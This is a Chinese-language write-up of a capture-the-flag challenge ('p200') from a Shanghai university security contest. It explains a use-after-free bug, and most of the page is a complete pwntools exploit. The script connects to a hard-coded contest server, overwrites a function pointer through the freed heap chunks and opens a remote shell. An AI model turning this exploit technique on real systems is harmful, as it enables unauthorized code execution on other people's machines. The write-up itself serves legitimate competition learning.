wp

0x00 p200

先分析了程序关键的数据结构

第三届上海市大学生网络安全大赛wp&学习分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf

第三届上海市大学生网络安全大赛wp&学习

脚本如下:

1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆

2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据

3.再free,此时可以把整块Ton堆给free

4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8

5.执行1.use 此时其实是执行system('/bin/sh')

from pwn import*
# context.log_level = 'debug'
# p = process('./p200')
addr = 0x0000000000602D70
addr2 = 0x602D58

p = remote('106.75.8.58',12333)

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('3')

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('2')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00'))

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('2')
p.recvuntil('Please input the length:\n')
p.sendline(str(32))
p.sendline(p64(addr2).ljust(32, '\x00'))

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('3')

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('2')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00'))

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('2')
p.recvuntil('Please input the length:\n')
p.sendline(str(0x30))
p.sendline(p64(addr).ljust(0x30, '\x00'))

p.recvuntil('1. use, 2. after, 3. free\n')
p.sendline('1')

p.interactive()
View Code

相关文章: